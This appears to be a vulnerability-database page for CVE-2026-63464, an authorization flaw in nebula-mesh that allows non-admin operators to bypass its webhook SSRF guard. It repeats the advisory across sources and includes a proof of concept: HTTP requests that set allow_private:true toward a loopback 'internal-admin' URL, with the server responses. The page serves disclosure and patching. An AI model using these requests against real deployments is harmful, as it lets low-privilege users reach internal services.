CVE-2026-63464
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.7
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.
- Record
CVE-2026-63464- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-862, CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-71721
7.7
nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.
- Record
EUVD-2026-71721- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7rx3-5wx3-5v76
7.7
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
Summary
Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.
Details
internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.
internal/webhook/webhook.go:294-296:
client := d.guarded
if tgt.AllowPrivate {
client = d.unguarded
}
d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.
Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).
PoC
Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.
Step 1 — create-side bypass, as the non-admin lowpriv operator:
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}
Actual response:
HTTP/1.1 201 Created
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}
201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.
Control — same non-admin key, same target, allow_private omitted (defaults false):
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request
{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}
Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.
Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST…
- Record
GHSA-7rx3-5wx3-5v76- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-862, CWE-918
- Updated
- 2026-11-02
NVD
7.7
nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.
- Record
CVE-2026-63464- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-862, CWE-918
- Updated
- 2026-11-02
OSV
7.7
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
nebula-mesh is a self-hosted control plane for Slack Nebula mesh VPN. From version 0.6.0 to before version 0.7.2, non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses. This issue has been patched in version 0.7.2.
- Record
CVE-2026-63464- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-862, CWE-918
- Updated
- 2026-11-02
OSVGHSA-7rx3-5wx3-5v76
7.7
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private`
Summary
Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard — letting a low-privilege operator make the server request internal addresses.
Details
internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check — only ownership is enforced (canAccessWebhookSub), and that's not even called on create.
internal/webhook/webhook.go:294-296:
client := d.guarded
if tgt.AllowPrivate {
client = d.unguarded
}
d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.
Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception — introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).
PoC
Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made — the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c) — the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.
Step 1 — create-side bypass, as the non-admin lowpriv operator:
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}
Actual response:
HTTP/1.1 201 Created
{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}
201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden — which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.
Control — same non-admin key, same target, allow_private omitted (defaults false):
POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json
{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request
{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}
Confirms the guard is real and active for this exact target — allow_private:true in Step 1 is what disabled it.
Step 2 — delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST…
- Record
GHSA-7rx3-5wx3-5v76- CVSS 3.1
- 7.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N - Weakness
- CWE-862, CWE-918
- Updated
- 2026-11-02
OSVGO-2026-5985 No score
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via `allow_private` in github.com/forgekeep/nebula-mesh
Nebula-mesh allows non-admin operators to disable webhook SSRF protection via allow_private in github.com/forgekeep/nebula-mesh
- Record
GO-2026-5985- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/forgekeep/nebula-meshGo |
0.6.0 to 0.7.1 | 0.7.2 |
github.com/forgekeep/nebula-meshGo |
0.6.0 up to 0.7.2 | 0.7.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-63464 is a high vulnerability (CVSS 7.7) in Forgekeep Nebula-mesh, published July 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.46%, the 40th percentile. Fixed in github.com/forgekeep/nebula-mesh 0.7.2.
References
github.com/forgekeep/nebula-mesh/security/advisories/GHSA-7rx3-5wx3-5v76
github.com/forgekeep/nebula-mesh/commit/f3c54530e388dd21763e548923426e60a8e93ff0
github.com/forgekeep/nebula-mesh/releases/tag/v0.7.2
github.com/advisories/GHSA-7rx3-5wx3-5v76
github.com/CVEProject/cvelistV5/tree/main/cves/2026/63xxx/CVE-2026-63464.json
nvd.nist.gov/vuln/detail/CVE-2026-63464
github.com/forgekeep/nebula-mesh
Left out here: the rest of 2 source descriptions. The JSON record has them.